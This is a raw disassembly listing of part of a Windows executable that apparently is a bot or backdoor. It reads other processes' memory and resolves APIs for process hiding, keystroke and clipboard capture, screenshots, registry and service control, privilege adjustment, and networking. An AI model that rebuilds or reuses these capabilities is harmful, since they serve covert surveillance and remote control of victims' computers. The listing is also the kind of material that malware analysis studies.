loc_409372: ; CODE XREF: sub_409204+10Fj
test edi, edi
jz short loc_40937D
push edi
call ds:dword_43C2C0
loc_40937D: ; CODE XREF: sub_409204+170j
mov edi, [esp+28h+var_4]
jmp loc_4092F3
; ---------------------------------------------------------------------------
loc_409386: ; CODE XREF: sub_409204+13Cj
xor eax, eax
jmp loc_409301
sub_409204 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40938D proc near ; CODE XREF: sub_409032+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
call ds:dword_4230F8 ; OpenProcess
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_4093B6
xor eax, eax
jmp loc_409531
; ---------------------------------------------------------------------------
loc_4093B6: ; CODE XREF: sub_40938D+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
call ds:dword_4230F4 ; GetSystemInfo
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, ds:dword_423004
push 8
call esi
mov edi, ds:dword_4230E4
push eax
call edi ; RtlAllocateHeap
lea ecx, [ebp+var_8]
mov ebx, ds:dword_4230F0
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jnz short loc_409406
xor esi, esi
jmp loc_409524
; ---------------------------------------------------------------------------
loc_409406: ; CODE XREF: sub_40938D+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
call ds:dword_4230EC ; VirtualQueryEx
test eax, eax
jz loc_409513
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_409513
test [ebp+var_2B], 1
jnz loc_409513
push [ebp+var_34]
push 8
call esi
push eax
call edi ; RtlAllocateHeap
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jz loc_409513
loc_409469: ; CODE XREF: sub_40938D+112j
push edi ; Str2
push offset word_43B2B8 ; Str1
call __wcsicmp
pop ecx
test eax, eax
pop ecx
jnz short loc_409491
lea eax, [edi+200h]
push eax ; Str2
push offset word_43BAB8 ; Str1
call __wcsicmp
pop ecx
test eax, eax
pop ecx
jz short loc_4094A1
loc_409491: ; CODE XREF: sub_40938D+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_409513
jmp short loc_409469
; ---------------------------------------------------------------------------
loc_4094A1: ; CODE XREF: sub_40938D+102j
test edi, edi
jz short loc_409513
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
call ds:dword_4230B0 ; FileTimeToLocalFileTime
test eax, eax
jz short loc_4094DC
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
call ds:dword_4230AC ; FileTimeToSystemTime
test eax, eax
jz short loc_4094DC
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_4094DC: ; CODE XREF: sub_40938D+12Bj
; sub_40938D+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov ds:dword_43C4DC, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov ds:dword_43C4D4, eax
mov ds:Src, edi
loc_409513: ; CODE XREF: sub_40938D+90j
; sub_40938D+A2j ...
push [ebp+arg_0]
push 0
call esi
push eax
call ds:dword_4230E0 ; RtlFreeHeap
mov esi, [ebp+var_10]
loc_409524: ; CODE XREF: sub_40938D+74j
push [ebp+var_4]
call ds:dword_423074
pop edi
mov eax, esi
pop ebx
loc_409531: ; CODE XREF: sub_40938D+24j
pop esi
leave
retn
sub_40938D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409534 proc near ; CODE XREF: sub_409032:loc_40912Ap
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
call ds:dword_4230F8 ; OpenProcess
test eax, eax
mov [ebp+arg_0], eax
jz loc_409626
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call ds:dword_4230F4 ; GetSystemInfo
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_40961D
mov edi, ds:dword_423004
loc_40957F: ; CODE XREF: sub_409534+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
call ds:dword_4230EC ; VirtualQueryEx
test eax, eax
jz short loc_40960B
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_409611
test [ebp+var_13], 1
jnz short loc_409611
push ecx
push 8
call edi
push eax
call ds:dword_4230E4 ; RtlAllocateHeap
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call ds:dword_4230F0 ; ReadProcessMemory
test eax, eax
jz short loc_4095FD
push offset word_43B2B8 ; Str2
push esi ; Str1
call __wcsicmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4095FD
lea eax, [esi+400h]
push offset word_43BAB8 ; Str2
push eax ; Str1
call __wcsicmp
pop ecx
test eax, eax
pop ecx
jz short loc_40962D
loc_4095FD: ; CODE XREF: sub_409534+9Fj
; sub_409534+B0j
push esi
push 0
call edi
push eax
call ds:dword_4230E0 ; RtlFreeHeap
jmp short loc_409611
; ---------------------------------------------------------------------------
loc_40960B: ; CODE XREF: sub_409534+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_409611: ; CODE XREF: sub_409534+71j
; sub_409534+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_40957F
loc_40961D: ; CODE XREF: sub_409534+3Fj
push [ebp+arg_0]
call ds:dword_423074
loc_409626: ; CODE XREF: sub_409534+1Ej
xor eax, eax
loc_409628: ; CODE XREF: sub_409534+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40962D: ; CODE XREF: sub_409534+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov ds:dword_43C4D4, ebx
mov ds:Src, eax
cmp [eax], cl
jnz short loc_40964F
cmp [eax+1], cl
jz short loc_409657
loc_40964F: ; CODE XREF: sub_409534+114j
; sub_409534+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_40964F
loc_409657: ; CODE XREF: sub_409534+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
call ds:dword_423074
push 1
pop eax
jmp short loc_409628
sub_409534 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40966A proc near ; CODE XREF: sub_409032+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, ds:dword_43C4D0
push esi
mov esi, ds:dword_423004
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi
push eax
call ds:dword_4230E4 ; RtlAllocateHeap
mov ecx, ds:dword_43C4D0
mov [ebp+var_4], eax
add ecx, ecx
push ecx ; Size
push ds:Src ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr ds:dword_43C4DC
push eax
call ds:dword_43C2BC
push [ebp+var_4]
mov edi, offset byte_43C2C8
push offset word_43B2B8
push offset word_43BAB8
push [ebp+arg_0]
push offset unk_42BDC0 ; Format
push 200h ; Count
push edi ; Dest
call __snprintf
add esp, 1Ch
push [ebp+var_4]
push 0
call esi
push eax
call ds:dword_4230E0 ; RtlFreeHeap
mov eax, edi
pop edi
pop esi
leave
retn
sub_40966A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409701 proc near ; CODE XREF: sub_409032:loc_40916Ep
var_18 = word ptr -18h
var_16 = word ptr -16h
Dst = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, ds:dword_43C4D0
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call ds:dword_423004
push eax
call ds:dword_4230E4 ; RtlAllocateHeap
and [ebp+var_C], 0
mov [ebp+Dst], eax
mov ebx, offset word_43BAB8
mov edi, 200h
mov esi, offset byte_43B0B8
loc_409747: ; CODE XREF: sub_409701+FAj
mov eax, ds:dword_43C4D0
add eax, eax
push eax ; Size
push ds:Src ; Src
push [ebp+Dst] ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call ds:dword_43C2BC
mov eax, ds:dword_43C4D0
and [ebp+var_10], 0
mov ecx, [ebp+Dst]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_4097BC
loc_409784: ; CODE XREF: sub_409701+B3j
cmp [ebp+var_8], 0
jz short loc_4097D9
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_4097A8
cmp byte ptr [ecx+1], 0
jnz short loc_4097A8
cmp dl, 20h
jnb short loc_4097A2
and [ebp+var_8], 0
loc_4097A2: ; CODE XREF: sub_409701+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_4097AC
loc_4097A8: ; CODE XREF: sub_409701+90j
; sub_409701+96j
and [ebp+var_8], 0
loc_4097AC: ; CODE XREF: sub_409701+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_409784
cmp [ebp+var_8], 0
jz short loc_4097D9
loc_4097BC: ; CODE XREF: sub_409701+81j
push [ebp+Dst]
push offset word_43B2B8
push ebx
push [ebp+arg_0]
push offset unk_42BDC0 ; Format
push edi ; Count
push esi ; Dest
call __snprintf
add esp, 1Ch
jmp short loc_4097F1
; ---------------------------------------------------------------------------
loc_4097D9: ; CODE XREF: sub_409701+87j
; sub_409701+B9j
push offset word_43B2B8
push ebx
push [ebp+arg_0]
push offset unk_42BE2C ; Format
push edi ; Count
push esi ; Dest
call __snprintf
add esp, 18h
loc_4097F1: ; CODE XREF: sub_409701+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_409747
push [ebp+Dst]
push 0
call ds:dword_423004
push eax
call ds:dword_4230E0 ; RtlFreeHeap
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_409701 endp
; =============== S U B R O U T I N E =======================================
sub_40981A proc near ; CODE XREF: sub_40E68B+48p
push ebx
push ebp
mov ebp, ds:dword_4230FC
push esi
push edi
push offset aKernel32_dll_1 ; "kernel32.dll"
call ebp
mov esi, ds:dword_4230D8
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_40993A
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov ds:dword_43C6C4, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov ds:dword_43C638, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov ds:dword_43C61C, eax
call esi
push offset aModule32first ; "Module32First"
push edi
mov ds:dword_43C538, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov ds:dword_43C4E4, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov ds:dword_43C514, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov ds:dword_43C588, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov ds:dword_43C678, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov ds:dword_43C6D4, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov ds:dword_43C544, eax
call esi
cmp ds:dword_43C6C4, ebx
mov ds:dword_43C52C, eax
jz short loc_409918
cmp ds:dword_43C638, ebx
jz short loc_409918
cmp ds:dword_43C61C, ebx
jz short loc_409918
cmp ds:dword_43C538, ebx
jz short loc_409918
cmp ds:dword_43C514, ebx
jz short loc_409918
cmp ds:dword_43C588, ebx
jz short loc_409918
cmp ds:dword_43C678, ebx
jz short loc_409918
cmp ds:dword_43C6D4, ebx
jz short loc_409918
cmp ds:dword_43C544, ebx
jz short loc_409918
cmp eax, ebx
jnz short loc_409922
loc_409918: ; CODE XREF: sub_40981A+B8j
; sub_40981A+C0j ...
mov ds:dword_43C6D8, 1
loc_409922: ; CODE XREF: sub_40981A+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov ds:dword_43C650, eax
jz short loc_40994F
push 1
push ebx
call eax
jmp short loc_40994F
; ---------------------------------------------------------------------------
loc_40993A: ; CODE XREF: sub_40981A+1Dj
call ds:dword_423088 ; RtlGetLastWin32Error
mov ds:dword_43C6DC, eax
mov ds:dword_43C6D8, 1
loc_40994F: ; CODE XREF: sub_40981A+117j
; sub_40981A+11Ej
push offset aUser32_dll_0 ; "user32.dll"
call ds:dword_4230DC
mov edi, eax
cmp edi, ebx
jz loc_409A64
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov ds:dword_43C674, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov ds:dword_43C624, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov ds:dword_43C5B8, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov ds:dword_43C6C8, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov ds:dword_43C5E8, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov ds:dword_43C608, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov ds:dword_43C66C, eax
call esi
cmp ds:dword_43C674, ebx
mov ds:dword_43C560, eax
jz short loc_409A08
cmp ds:dword_43C624, ebx
jz short loc_409A08
cmp ds:dword_43C5B8, ebx
jz short loc_409A08
cmp ds:dword_43C6C8, ebx
jz short loc_409A08
cmp ds:dword_43C5E8, ebx
jz short loc_409A08
cmp ds:dword_43C608, ebx
jz short loc_409A08
cmp ds:dword_43C66C, ebx
jz short loc_409A08
cmp eax, ebx
jnz short loc_409A12
loc_409A08: ; CODE XREF: sub_40981A+1B8j
; sub_40981A+1C0j ...
mov ds:dword_43C6E0, 1
loc_409A12: ; CODE XREF: sub_40981A+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi
push offset aGetkeystate ; "GetKeyState"
push edi
mov ds:dword_43C5E4, eax
call esi
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov ds:dword_43C4F8, eax
call esi
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov ds:dword_43C5B4, eax
call esi
cmp ds:dword_43C5E4, ebx
mov ds:dword_43C5A0, eax
jz short loc_409A6F
cmp ds:dword_43C4F8, ebx
jz short loc_409A6F
cmp ds:dword_43C5B4, ebx
jz short loc_409A6F
cmp eax, ebx
jnz short loc_409A79
jmp short loc_409A6F
; ---------------------------------------------------------------------------
loc_409A64: ; CODE XREF: sub_40981A+144j
call ds:dword_423088 ; RtlGetLastWin32Error
mov ds:dword_43C6E4, eax
loc_409A6F: ; CODE XREF: sub_40981A+232j
; sub_40981A+23Aj ...
mov ds:dword_43C6E0, 1
loc_409A79: ; CODE XREF: sub_40981A+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409C14
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov ds:dword_43C688, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov ds:dword_43C5CC, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov ds:dword_43C63C, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov ds:dword_43C524, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov ds:dword_43C584, eax
call esi
cmp ds:dword_43C688, ebx
mov ds:dword_43C5F4, eax
jz short loc_409B04
cmp ds:dword_43C5CC, ebx
jz short loc_409B04
cmp ds:dword_43C63C, ebx
jz short loc_409B04
cmp ds:dword_43C524, ebx
jz short loc_409B04
cmp ds:dword_43C584, ebx
jz short loc_409B04
cmp eax, ebx
jnz short loc_409B0E
loc_409B04: ; CODE XREF: sub_40981A+2C4j
; sub_40981A+2CCj ...
mov ds:dword_43C6E8, 1
loc_409B0E: ; CODE XREF: sub_40981A+2E8j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov ds:dword_43C5FC, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov ds:dword_43C5D4, eax
call esi
cmp ds:dword_43C5FC, ebx
mov ds:dword_43C684, eax
jz short loc_409B49
cmp ds:dword_43C5D4, ebx
jz short loc_409B49
cmp eax, ebx
jnz short loc_409B53
loc_409B49: ; CODE XREF: sub_40981A+321j
; sub_40981A+329j
mov ds:dword_43C6E8, 1
loc_409B53: ; CODE XREF: sub_40981A+32Dj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov ds:dword_43C60C, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov ds:dword_43C500, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov ds:dword_43C508, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov ds:dword_43C568, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov ds:dword_43C56C, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov ds:dword_43C51C, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov ds:dword_43C5D8, eax
call esi
cmp ds:dword_43C60C, ebx
mov ds:dword_43C50C, eax
jz short loc_409BF7
cmp ds:dword_43C500, ebx
jz short loc_409BF7
cmp ds:dword_43C508, ebx
jz short loc_409BF7
cmp ds:dword_43C568, ebx
jz short loc_409BF7
cmp ds:dword_43C56C, ebx
jz short loc_409BF7
cmp ds:dword_43C51C, ebx
jz short loc_409BF7
cmp ds:dword_43C5D8, ebx
jz short loc_409BF7
cmp eax, ebx
jnz short loc_409C01
loc_409BF7: ; CODE XREF: sub_40981A+3A7j
; sub_40981A+3AFj ...
mov ds:dword_43C6E8, 1
loc_409C01: ; CODE XREF: sub_40981A+3DBj
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov ds:dword_43C504, eax
jnz short loc_409C29
jmp short loc_409C1F
; ---------------------------------------------------------------------------
loc_409C14: ; CODE XREF: sub_40981A+26Aj
call ds:dword_423088 ; RtlGetLastWin32Error
mov ds:dword_43C6EC, eax
loc_409C1F: ; CODE XREF: sub_40981A+3F8j
mov ds:dword_43C6E8, 1
loc_409C29: ; CODE XREF: sub_40981A+3F6j
push offset aGdi32_dll ; "gdi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409CF5
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov ds:dword_43C604, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov ds:dword_43C65C, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov ds:dword_43C664, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov ds:dword_43C620, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov ds:dword_43C548, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov ds:dword_43C4F4, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov ds:dword_43C660, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov ds:dword_43C4E0, eax
call esi
cmp ds:dword_43C604, ebx
mov ds:dword_43C57C, eax
jz short loc_409D00
cmp ds:dword_43C65C, ebx
jz short loc_409D00
cmp ds:dword_43C664, ebx
jz short loc_409D00
cmp ds:dword_43C620, ebx
jz short loc_409D00
cmp ds:dword_43C548, ebx
jz short loc_409D00
cmp ds:dword_43C4F4, ebx
jz short loc_409D00
cmp ds:dword_43C660, ebx
jz short loc_409D00
cmp ds:dword_43C4E0, ebx
jz short loc_409D00
cmp eax, ebx
jnz short loc_409D0A
jmp short loc_409D00
; ---------------------------------------------------------------------------
loc_409CF5: ; CODE XREF: sub_40981A+41Aj
call ds:dword_423088 ; RtlGetLastWin32Error
mov ds:dword_43C6F4, eax
loc_409D00: ; CODE XREF: sub_40981A+49Bj
; sub_40981A+4A3j ...
mov ds:dword_43C6F0, 1
loc_409D0A: ; CODE XREF: sub_40981A+4D7j
mov ebp, ds:dword_4230DC
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409FC6
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov ds:dword_43C590, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov ds:dword_43C6BC, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov ds:dword_43C534, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov ds:dword_43C510, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov ds:dword_43C5C4, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov ds:dword_43C5AC, eax
call esi
push offset aSocket ; "socket"
push edi
mov ds:dword_43C578, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov ds:dword_43C698, eax
call esi
push offset aConnect ; "connect"
push edi
mov ds:dword_43C6B4, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov ds:dword_43C5C0, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov ds:dword_43C6A4, eax
call esi
push offset aHtons ; "htons"
push edi
mov ds:dword_43C658, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov ds:dword_43C618, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov ds:dword_43C614, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov ds:dword_43C554, eax
call esi
push offset aSend ; "send"
push edi
mov ds:dword_43C54C, eax
call esi
push offset aSendto ; "sendto"
push edi
mov ds:dword_43C668, eax
call esi
push offset aRecv ; "recv"
push edi
mov ds:dword_43C67C, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov ds:dword_43C630, eax
call esi
mov ds:dword_43C5F0, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov ds:dword_43C644, eax
call esi
push offset aListen ; "listen"
push edi
mov ds:dword_43C600, eax
call esi
push offset aAccept ; "accept"
push edi
mov ds:dword_43C640, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov ds:dword_43C6AC, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov ds:dword_43C5F8, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov ds:dword_43C5BC, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov ds:dword_43C62C, eax
call esi
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov ds:dword_43C69C, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov ds:dword_43C5D0, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov ds:dword_43C574, eax
call esi
cmp ds:dword_43C590, ebx
mov ds:dword_43C6B0, eax
jz loc_409FD1
cmp ds:dword_43C6BC, ebx
jz loc_409FD1
cmp ds:dword_43C534, ebx
jz loc_409FD1
cmp ds:dword_43C5C4, ebx
jz loc_409FD1
cmp ds:dword_43C5AC, ebx
jz loc_409FD1
cmp ds:dword_43C578, ebx
jz loc_409FD1
cmp ds:dword_43C698, ebx
jz loc_409FD1
cmp ds:dword_43C6B4, ebx
jz loc_409FD1
cmp ds:dword_43C5C0, ebx
jz loc_409FD1
cmp ds:dword_43C6A4, ebx
jz loc_409FD1
cmp ds:dword_43C658, ebx
jz loc_409FD1
cmp ds:dword_43C618, ebx
jz loc_409FD1
cmp ds:dword_43C614, ebx
jz loc_409FD1
cmp ds:dword_43C554, ebx
jz short loc_409FD1
cmp ds:dword_43C668, ebx
jz short loc_409FD1
cmp ds:dword_43C67C, ebx
jz short loc_409FD1
cmp ds:dword_43C630, ebx
jz short loc_409FD1
cmp ds:dword_43C5F0, ebx
jz short loc_409FD1
cmp ds:dword_43C644, ebx
jz short loc_409FD1
cmp ds:dword_43C600, ebx
jz short loc_409FD1
cmp ds:dword_43C640, ebx
jz short loc_409FD1
cmp ds:dword_43C6AC, ebx
jz short loc_409FD1
cmp ds:dword_43C5F8, ebx
jz short loc_409FD1
cmp ds:dword_43C5BC, ebx
jz short loc_409FD1
cmp ds:dword_43C62C, ebx
jz short loc_409FD1
cmp ds:dword_43C69C, ebx
jz short loc_409FD1
cmp ds:dword_43C5D0, ebx
jz short loc_409FD1
cmp eax, ebx
jnz short loc_409FDB
jmp short loc_409FD1
; ---------------------------------------------------------------------------
loc_409FC6: ; CODE XREF: sub_40981A+501j
call ds:dword_423088 ; RtlGetLastWin32Error
mov ds:dword_43C6FC, eax
loc_409FD1: ; CODE XREF: sub_40981A+6A0j
; sub_40981A+6ACj ...
mov ds:dword_43C6F8, 1
loc_409FDB: ; CODE XREF: sub_40981A+7A8j
push offset aWininet_dll ; "wininet.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A0E0
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov ds:dword_43C55C, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov ds:dword_43C4E8, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov ds:dword_43C5E0, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov ds:dword_43C594, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov ds:dword_43C5EC, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov ds:dword_43C5B0, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov ds:dword_43C528, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov ds:dword_43C520, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov ds:dword_43C530, eax
call esi
cmp ds:dword_43C55C, ebx
mov ecx, ds:dword_43C5B0
mov ds:dword_43C64C, eax
jz short loc_40A0BC
cmp ds:dword_43C4E8, ebx
jz short loc_40A0BC
cmp ds:dword_43C5E0, ebx
jz short loc_40A0BC
cmp ds:dword_43C594, ebx
jz short loc_40A0BC
cmp ds:dword_43C5EC, ebx
jz short loc_40A0BC
cmp ecx, ebx
jz short loc_40A0BC
cmp ds:dword_43C528, ebx
jz short loc_40A0BC
cmp ds:dword_43C520, ebx
jz short loc_40A0BC
cmp ds:dword_43C530, ebx
jz short loc_40A0BC
cmp eax, ebx
jnz short loc_40A0C6
loc_40A0BC: ; CODE XREF: sub_40981A+860j
; sub_40981A+868j ...
mov ds:dword_43C700, 1
loc_40A0C6: ; CODE XREF: sub_40981A+8A0j
cmp ecx, ebx
jz short loc_40A0FB
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov ds:dword_43C5C8, eax
jnz short loc_40A0FB
jmp short loc_40A0F5
; ---------------------------------------------------------------------------
loc_40A0E0: ; CODE XREF: sub_40981A+7CCj
call ds:dword_423088 ; RtlGetLastWin32Error
mov ds:dword_43C704, eax
mov ds:dword_43C700, 1
loc_40A0F5: ; CODE XREF: sub_40981A+8C4j
mov ds:dword_43C5C8, ebx
loc_40A0FB: ; CODE XREF: sub_40981A+8AEj
; sub_40981A+8C2j
push offset aIcmp_dll ; "icmp.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A145
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
